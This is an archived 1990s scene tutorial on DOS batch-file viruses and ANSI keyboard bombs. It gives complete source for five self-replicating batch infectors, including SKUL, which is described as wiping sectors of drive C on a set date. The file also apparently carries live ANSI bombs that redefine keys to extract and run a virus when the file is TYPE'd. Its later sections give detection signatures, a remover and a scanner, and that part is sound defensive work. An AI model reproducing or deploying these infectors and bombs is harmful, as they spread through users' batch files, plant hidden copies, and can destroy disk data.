home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / BATCHCOL.ZIP / TUTORIAL.ZIP / BVTUTOR1.TXT < prev    next >
Text File  |  1996-10-27  |  18KB  |  496 lines

  1.  
  2. ---------------------------------
  3. Batch File Viruses and ANSI Bombs
  4. ---------------------------------
  5.  
  6. This file has no copyright (C) 1995 - use it, steal it, say you wrote
  7. it yourself, I don't care. This file might not even have an author.
  8. I don't want fame. I just want people to be aware of this stuff.
  9.  
  10. As long as you don't try to cut out and run the programs and view
  11. this file with a text viewer, this file is totally harmless. But...
  12.  
  13. This file contains ANSI and non-printable characters INCLUDING strings
  14. that can redefine keys on the keyboard! DO NOT TYPE THIS DOCUMENT unless
  15. you know what you are doing! Use EDIT or LIST (or almost any text viewer)
  16. to read this document.
  17.  
  18. The batch files presented (and one especially) can be VERY DANGEROUS
  19. under certain circumstances!!! DO NOT CUT OUT AND RUN SKUL unless you
  20. make damn sure it's been deactivated! It's supposed to be but don't
  21. count on it. It's not my intention to format someone's drive, only to
  22. demonstrate how trivial it is to do. I don't know if it even works.
  23. It probably does, so DON'T PLAY WITH IT. There is no recovery other
  24. than re-formatting if it 'goes off'. It can't unless you deliberately
  25. cut it out and save it to a batch file then run it. Even if someone
  26. modified this document to 'bomb load' it you'd still have to TYPE
  27. this file to load the bomb. Again, ALWAYS use a viewer. Perhaps the
  28. possibility of this happening will break people of the TYPE habbit.
  29.  
  30. I will not accept any responsibility for anything contained in this
  31. file. What you do with this information is your business but I'd prefer
  32. you'd use it to protect and educate yourself and not to hurt someone.
  33. You, the reader of this document, assume ALL responibility for whatever
  34. you do with the information. As with all things in life.
  35.  
  36. If you are TYPE'ing this file (or using MORE) the following keys will
  37. be affected if ANSI.SYS is running and unprotected...
  38.  
  39. * The uppercase Z key will extract the ZEP batch virus (very tame) and
  40.   execute it, provided this file is named BATV.TXT and in the current
  41.   directory. This virus can infect one batch in the current or parent
  42.   directory with each run. Make sure you track any infections carefully!
  43.  
  44. * The BackSpace key will flash Hey! each time it's pressed but will
  45.   otherwise still work.
  46.  
  47. * The <`> key will first be defined to 'XoP_B XoP_' then redefined in
  48.   the next section to write out a short batch file and run it. The batch
  49.   will then display Working... while it does a directory while 'CTTY NUL'
  50.   is in effect to simulate lots of disk noise. Then it restores the
  51.   console and deletes itself producing a BATCH FILE MISSING error.
  52.   If you abort by Ctrl-Break the computer will probably lock up.
  53.  
  54. None of these actions should affect any data except for batch files.
  55.  
  56. Before attempting to demonstrate any of these effects read through this
  57. file with a text viewer completely!
  58.  
  59. If you are using any kind of DOS command to view this file, and these
  60. are not the effects you wish to demonstrate EXIT NOW! (Ctrl-Break)
  61. ------------------------------------------------------------------------
  62.  
  63. Batch Viruses
  64. -------------
  65.  
  66. It is generally assumed in the virus community that batch files are not
  67. viable targets for viral infections. However my own experiments seem to
  68. disprove this notion. It is true that existing samples (at least what
  69. I've seen) are not so hot, but do not assume it can't be done. It just
  70. takes a little batch know-how.
  71.  
  72. Presented here are five batch viruses that actually work. On modern systems
  73. they are practically invisible unless they activate. To people that pay
  74. attention to their files these are not much of a threat, but we're often
  75. so busy protecting the exe's something like this can go unnoticed. Removal
  76. is easy - use any editor to remove it from all affected batches then delete
  77. the hidden root file if present (you have to remove the hidden attribute).
  78.  
  79. Common traits...
  80.  
  81. - They infect only un-infected batch files (no re-infection of same type).
  82. - No effect the host file's functionality. Files still work normally.
  83. - Virus gets control AFTER host batch completes (or hits last line).
  84. - They travel using the .. method as well as attacking the current directory
  85. - Exist indepenent of any other files. Totally parasitic.
  86. - DOS 5 or better may be 'required', I'm not sure.
  87.  
  88. ZEP    (165) - The smallest so far! Except for GeeZ.
  89.  
  90. XOP    (361) - Infects two batches per run.
  91.  
  92. POT    (685) - Infects one batch per run. If it can't infect anything
  93.                it drops two ANSI bombs (space bar flashes a message and
  94.                the ` key runs the root copy of the virus) and checks for
  95.                '00' anywhere in the current time. If so it displays a
  96.                silly message, giving itself away.
  97.  
  98. SKUL   (497) - This is a DANGEROUS file!!! It will overwrite over 8000
  99.                sectors of drive C on the 20th of any month!!! DO NOT RUN!
  100.                I do not normally write destructive code but did in this
  101.                case so folks might take this more seriously. Hides itself
  102.                from TYPE but does not define any keys.
  103.  
  104. ZOP_B  (615) - Infects two files per run. If infected batch files are
  105.                TYPE'd the ` key will be redefined to run itself. The key
  106.                is undefined after the virus runs. You won't see much
  107.                when you TYPE it.
  108.  
  109. The ANSI tricks work only if ANSI.SYS is loaded. All of these work on
  110. the same basic principle: Use a key-string specific to the virus on EVERY
  111. line. The FIND command is used to extract the viral code out of the host
  112. for eventual copy to the victom files, and also to check for previous
  113. infection. All of these except ZEP keep a hidden copy of themselves in
  114. the root of drive C: to permit operation even if the infected batch being
  115. run is not in the current directory. If the copy is not present they will
  116. create it when run from the current directory. ZEP will infect only if
  117. the infected batch is run from the current directory.
  118.  
  119. Two methods are used to find files. The first, used by XOP, POT and ZOP_B,
  120. loops for every batch file found by calling the root copy. The second
  121. method merely checks the LAST batch found and avoids the looping. While
  122. much faster, it will only infect one file unless files are moved around
  123. making it a 'slow infector'. To give credit where credit is due, this
  124. idea (one for.. do set... line) sort-of comes from an example in Vir-101.
  125. The first method is of my own devising and behaves closer to the real thing
  126. but would be obvious if run without a cache or in a directory containing
  127. many batch files. Even if it infects only one or two at a time it still has
  128. to loop for all of them since batch doesn't provide an easy way to terminate
  129. a loop. Even so, it's pretty fast most of the time - less than a second.
  130. The 101 way, although limited, is faster because the loop calls no code.
  131.  
  132. --ZEP.BAT------------------------------------------------------------------
  133. @echo off%[ZeP]%
  134. if not exist %0.bat goto ZeP
  135. for %%f in (*.bat ..\*.bat) do set ZeP=%%f
  136. find /i "ZeP"<%ZeP%>nul
  137. if errorlevel 1 find "ZeP"<%0.bat>>%ZeP%
  138. :ZeP
  139.  
  140. --XOP.BAT------------------------------------------------------------------
  141. @echo off%[XoP]%
  142. if '%XoP%=='11 goto XoP2
  143. if '%2=='_ goto XoP1
  144. if exist C:\XoP.bat goto XoP
  145. if not exist %0.bat goto XoP2
  146. find "XoP"<%0.bat>C:\XoP.bat
  147. attrib C:\XoP.bat +h
  148. :XoP
  149. for %%v in (*.bat ..\*.bat) do call C:\XoP %%v _
  150. set XoP=
  151. goto XoP2
  152. :XoP1
  153. find /i "XoP"<%1>nul
  154. if not errorlevel 1 goto XoP2
  155. type C:\XoP.bat>>%1
  156. set XoP=%XoP%1
  157. :XoP2
  158.  
  159. --POT.BAT------------------------------------------------------------------
  160. @echo off%_PoT%
  161. if '%PoT%=='I goto PoTz
  162. if '%1=='_ goto PoTi
  163. if exist C:\PoT.bat goto PoT
  164. if not exist %0.bat goto PoTz
  165. find "PoT"<%0.bat>C:\PoT.bat
  166. attrib C:\PoT.bat +h
  167. :PoT Makes You Feel Goodz
  168. for %%f in (*.bat ..\*.bat C:\*.bat) do call C:\PoT.bat _ %%f
  169. if '%PoT%=='I goto PoTf
  170. set PoT=
  171. echo %PoT%[32;"You're Stoned!       "p
  172. echo %PoT%[96;"C:\PoT";13p%PoT%[2A
  173. echo.%_PoT%|time|find "00">nul
  174. if errorlevel 1 goto PoTf
  175. echo %PoT%[1A%PoT%[s%PoT%[1;37;44m
  176. echo %PoT%[3;9H Let me outta here! %PoT%[0m%PoT%[u
  177. :PoTf gold
  178. set PoT=
  179. goto PoTz
  180. :PoTi nfect
  181. find /i "PoT"<%2>nul
  182. if not errorlevel 1 goto PoTz
  183. type C:\PoT.bat>>%2
  184. set PoT=I
  185. :PoTz
  186.  
  187. --SKUL---------------------------------------------------------------------
  188. ::SKuL
  189. @echo off%[SKuL]%
  190. echo.|date|find "20">nul%[SKuL]%
  191. if errorlevel 1 goto SKuL1
  192. echo SKuL Killing Hardfile...
  193. ::echo ░╣  Ö═&═>SKuL.com
  194. ::SKuL
  195. :SKuL1 A
  196. if exist C:\SKuL goto SKuL2
  197. if not exist %0.bat goto SKuL
  198. find "SKuL"<%0.bat>C:\SKuL
  199. attrib C:\SKuL +h
  200. :SKuL2 A
  201. set SKuL=C:\AUTOEXEC.BAT
  202. for %%f in (D:*.bat C:*.bat ..\*.bat) do set SKuL=%%f
  203. if not exist %SKuL% goto SKuL
  204. find /i "SKuL"<%SKuL%>nul
  205. if errorlevel 1 type C:\SKuL>>%SKuL%
  206. set SKuL=
  207. :SKuL A
  208.  
  209. --ZOP_B.BAT----------------------------------------------------------------
  210. @echo off
  211. :: --- [ZoP_B] Batch Infector ---
  212. if '%2=='ZoP_ goto ZoP_1
  213. if '%1=='ZoP_ echo "`";"`"p
  214. ::"`";"ZoP_B ZoP_";13p
  215. ::AZoP_
  216. if exist c:\ZoP_B.bat goto ZoP_
  217. if not exist %0.bat goto ZoP_2
  218. echo @echo Off>c:\ZoP_B.bat
  219. find "ZoP_"<%0.bat>>c:\ZoP_B.bat
  220. attrib c:\ZoP_B.bat +h
  221. ::AZoP_
  222. :ZoP_
  223. for %%v in (*.bat) do call c:\ZoP_B %%v ZoP_
  224. if '%ZoP_%==' for %%v in (..\*.bat) do call c:\ZoP_B %%v ZoP_
  225. set ZoP_=
  226. goto ZoP_2
  227. ::AZoP_
  228. :ZoP_1
  229. if '%ZoP_%=='11 goto ZoP_2
  230. find "ZoP_"<%1>nul
  231. if not errorlevel 1 goto ZoP_2
  232. type c:\ZoP_B.bat>>%1
  233. set ZoP_=%ZoP_%1
  234. :ZoP_2
  235. ::ZoP_A
  236.  
  237. --------------------------------------------------------------------------
  238.  
  239. ANSI Bombs
  240. ----------
  241.  
  242. The title says Batch Viruses and ANSI bombs, so here's the ANSI section.
  243. Some of the above files contain ANSI bombs but they are not harmful.
  244. ANSI bombs can be very harmful if you are not aware of them. As long
  245. as you either do not run ANSI.SYS or if you do, fortify it with TBDRIVER
  246. or something, or never use the TYPE command to look at files, and always
  247. view batch files before you run them, you're OK. For starters, just
  248. don't use the TYPE and MORE commands when dealing with new files, and
  249. CHECK THOSE BAT FILES WITH EDIT before you run them.
  250.  
  251. Since someone could accidently TYPE this document, none of these examples
  252. will do anything really harmful but hopefully will get the point across.
  253.  
  254. And the first one (I'm going to write this right now...) will extract
  255. the ZEP batch virus from this file, assumed to be named BATV.TXT.
  256. The bomb will be placed on the uppercase Z key. This is not a practical
  257. example, a real bomb would do the return key or something more likely
  258. to be pressed, and a real bomb would probably just go ahead and wipe
  259. your drive out.
  260.  
  261. -------------------------------------------------------------
  262. ::"Z";"find ";34;"ZeP";34;"ZEP.BAT";13;"ZEP";13p
  263. -------------------------------------------------------------
  264.  
  265. It will also copy the above line but I guess that's OK. It just becomes
  266. part of the ZEP virus. The bomb won't work unless BATV.TXT is present.
  267.  
  268. This is boring. Sure, ANSI bombs can format your hard disk, but they
  269. are limited as far as brains go. For example, it is impossible to write
  270. a self contained ANSI bomb that plants the ZEP virus because you can't
  271. redirect lines already containing redirection into a file.
  272.  
  273. A couple more then I quit.
  274.  
  275. --HEYBUG-(BACKSPACE KEY)----------------------
  276. "Hey!               "p
  277. ----------------------------------------------
  278.  
  279. --SCARE--(` KEY)-----------
  280. 96p
  281. "echo @echo off>~.bat
  282. echo cls>>~.bat
  283. echo echo Working...>>~.bat
  284. echo ctty nul>>~.bat
  285. echo dir \ /s>>~.bat
  286. echo ctty con>>~.bat
  287. echo del ~.bat>>~.bat
  288. ~
  289. "p
  290. ---------------------------
  291.  
  292. Scan Strings
  293. ------------
  294.  
  295. Scanning for ANSI bombs and batch viruses can be somewhat tricky but is
  296. possible if the scanner supports wildcard signatures. The batch viruses
  297. and ANSI bombs presented here can be detected by the following HTSCAN
  298. signature strings. ThunderByte's scanner also supports wildcards but
  299. you'd probably have to convert them.
  300.  
  301. ;-----HTSCAN Signatures-------------------------
  302. ;
  303. ; *** ANSI key codes ***
  304. ;
  305. F Quoted Key Redefinition
  306. BAT COM EXE
  307. 1B5B%73B%722%(250)22%770
  308. F Entered Key Redefinition
  309. BAT COM EXE
  310. 1B5B%F3B**3B313370
  311. ;
  312. ; *** Batch crap detectors ***
  313. ;
  314. I BAT virus? (finds itself)
  315. BAT
  316. 66//4669//496E//4E64//44%222%F22%23C%22530
  317. I BAT virus? (BAT loop)
  318. BAT
  319. 28%32A2E62//4261//4174//44%129%22064//446F//4F20
  320. F Debugs file (could be danger)
  321. BAT
  322. 0D0A64//4465//4562//4275//5567//47%23C
  323. T Disk C: Killer! (int 26)
  324. COM EXE SYS BAT
  325. B002%FCD26
  326.  
  327. Batch Virus Remover
  328. -------------------
  329.  
  330. This file will clean batch viruses of the type described in this document.
  331. Basically, it removes all lines containing a specific string provided the
  332. file also contains another specific string. Needless to say, if called
  333. with the wrong string it will reduce your batches to mush, so be careful
  334. if you have to use it (like if one of these toys gets away). As written
  335. DOS 6 (or at least CHOICE.COM) is required because it confirms each
  336. file before cleaning it. So you don't clean your original sample.
  337.  
  338. To use, determine the key string for the batch virus (the string present
  339. on every line). For example say I have a bat virus that contains 'GeeZ'
  340. in every line (here I go again) like in the following...
  341.  
  342. ::
  343. :: host file
  344. ::
  345. ctty nul%_GeeZ%
  346. for %%a in (C:*.bat ..\*.bat) do set GeeZ=%%a
  347. find "GeeZ"<%GeeZ%
  348. if errorlevel 1 find "GeeZ"<%0.BAT>>%GeeZ%
  349. ctty con%_GeeZ%
  350.  
  351. To remove it, enter CLEANBAT GeeZ then answer the prompts.
  352.  
  353. -------------- CLEANBAT.BAT -------------------------------
  354. @echo off
  355. if '%1=='%temp% goto remove
  356. if exist C:\DOS\CHOICE.COM goto start
  357. echo This batch requires CHOICE.COM in C:\DOS!
  358. :start
  359. echo **** Batch Virus Remover ****
  360. echo.
  361. echo Warning! If key is not unique this will destroy files!
  362. echo Usage: CLEANBAT Key1 [Key2] where Key1 is the UNIQUE
  363. echo signature used by the virus and Key2 is an identifying
  364. echo string. If not specified then Key2 is set to Key1
  365. echo.
  366. set ks=%1
  367. set is=%2
  368. if '%ks%==' goto exit
  369. if '%is%==' set is=%ks%
  370. if '%temp%==' set temp=C:\
  371. echo Will remove %ks% from files containing %is%. Proceed?
  372. choice /c:yn>nul
  373. if errorlevel 2 goto exit
  374. for %%v in (*.bat) do call %0 %temp% %%v
  375. if exist rem$$_ del rem$$_
  376. goto exit
  377. :remove
  378. find "%is%"<%2>nul
  379. if errorlevel 1 goto done
  380. echo Found in %2 - remove?
  381. choice /c:yn>nul
  382. if errorlevel 2 goto done
  383. find /v "%ks%"<%2>rem$$_
  384. copy rem$$_ %2>nul
  385. goto done
  386. :exit
  387. set is=
  388. set ks=
  389. :done
  390.  
  391. -----------------------------------------------------------
  392.  
  393. ANSI / Bad Command Scanner
  394. --------------------------
  395.  
  396. This is not as accurate as the signatures, and quite a bit slower,
  397. but not unusably so. Actually it detects much more than the sigs do.
  398. What this does is read through every file in the directory listing
  399. any dangerous codes or commands it finds for each file. Obviously
  400. the flags for batch commands are meaningless unless contained in
  401. a batch file, and sometimes batches need to delete a file, so
  402. consider the output as an early warning. Despite its simplistic
  403. nature it will detect most types of key redefinition that I can
  404. think of. NOTE - EscSeq is NOT really a warning, many color batches
  405. and all ANSI screens contain this, but if KeyRedef, Key2 or Key3
  406. shows up definitely check out the file.
  407.  
  408. To use, copy this to a directory on the path, then CD to the directory
  409. containing the files and enter 'CHKANSI'. To scan just one batch or
  410. specific groups of files enter something like 'CHKANSI *.BAT *.ANS'.
  411.  
  412. This needs a fair amout (maybe 120 bytes) of environment to work
  413. properly. If you encounter errors enter 'COMMAND /E:512' at the prompt.
  414. Consider adding 'SHELL=C:\DOS\COMMAND.COM /E:512 /P' to your CONFIG.SYS
  415. if this or a similar line is not present.
  416.  
  417. NOTE - check the set esc= and set tab= lines - these should set a single
  418. escape character and tab character repspectively. EDIT will expand the
  419. tab character to spaces. All this does is make the listing look better
  420. but the esc= line is vital! Make sure there are no spaces after the
  421. escape character or it won't work!! If you use EDIT to split this out,
  422. redo the set tab= line - delete the spaces (until line pops up-9 times)
  423. then press   . You have to do this each time you load
  424. it into EDIT. If you forget it will still function but the flags will
  425. no longer line up evenly. Just a pick.
  426.  
  427. --------------- CHKANSI.BAT -------------------------------
  428. @echo off
  429. if '%2=='Loop goto loop
  430. echo *** ANSI/BATCH SCANNER ***
  431. set mask=%1 %2 %3 %4 %5 %6 %7 %8 %9
  432. if '%mask%==' set mask=*.*
  433. for %%f in (%mask%) do call %0 %%f Loop
  434. goto done
  435. :loop
  436. if not exist %1 goto done
  437. set line=
  438. :: escape and tab characters
  439. set esc=
  440. set tab=
  441. find "%esc%["<%1>nul
  442. if not errorlevel 1 set line=%line%EscSeq
  443. find /i "$e["<%1>nul
  444. if not errorlevel 1 set line=%line%PromptSeq
  445. find ";13p"<%1>nul
  446. if not errorlevel 1 set line=%line%KeyRedef
  447. if '%line%==' goto checkbad
  448. find """p"<%1>nul
  449. if not errorlevel 1 set line=%line%Key2
  450. set hit=0
  451. find "0p"<%1>nul
  452. if not errorlevel 1 set hit=1
  453. find "1p"<%1>nul
  454. if not errorlevel 1 set hit=1
  455. find "2p"<%1>nul
  456. if not errorlevel 1 set hit=1
  457. find "4p"<%1>nul
  458. if not errorlevel 1 set hit=1
  459. find "5p"<%1>nul
  460. if not errorlevel 1 set hit=1
  461. find "6p"<%1>nul
  462. if not errorlevel 1 set hit=1
  463. find "7p"<%1>nul
  464. if not errorlevel 1 set hit=1
  465. find "8p"<%1>nul
  466. if not errorlevel 1 set hit=1
  467. find "9p"<%1>nul
  468. if not errorlevel 1 set hit=1
  469. if %hit%==1 set line=%line%Key3
  470. :checkbad
  471. find /i "DEL "<%1>nul
  472. if not errorlevel 1 set line=%line%Del
  473. find /i "DELTREE"<%1>nul
  474. if not errorlevel 1 set line=%line%Deltree
  475. find /i "DEBUG"<%1>nul
  476. if not errorlevel 1 set line=%line%Debug
  477. find /i "ATTRIB "<%1>nul
  478. if not errorlevel 1 set line=%line%Attrib
  479. find /i "FORMAT C:"<%1>nul
  480. if not errorlevel 1 set line=%line%Format
  481. find /i "*.BAT"<%1>nul
  482. if not errorlevel 1 set line=%line%BAT
  483. find /i "*.EXE"<%1>nul
  484. if not errorlevel 1 set line=%line%EXE
  485. find /i "*.COM"<%1>nul
  486. if not errorlevel 1 set line=%line%COM
  487. echo %1   %tab%%line%
  488. :done
  489. set mask=
  490. set line=
  491. set hit=
  492. set esc=
  493. set tab=
  494.  
  495. -----------------------------------------------------------
  496.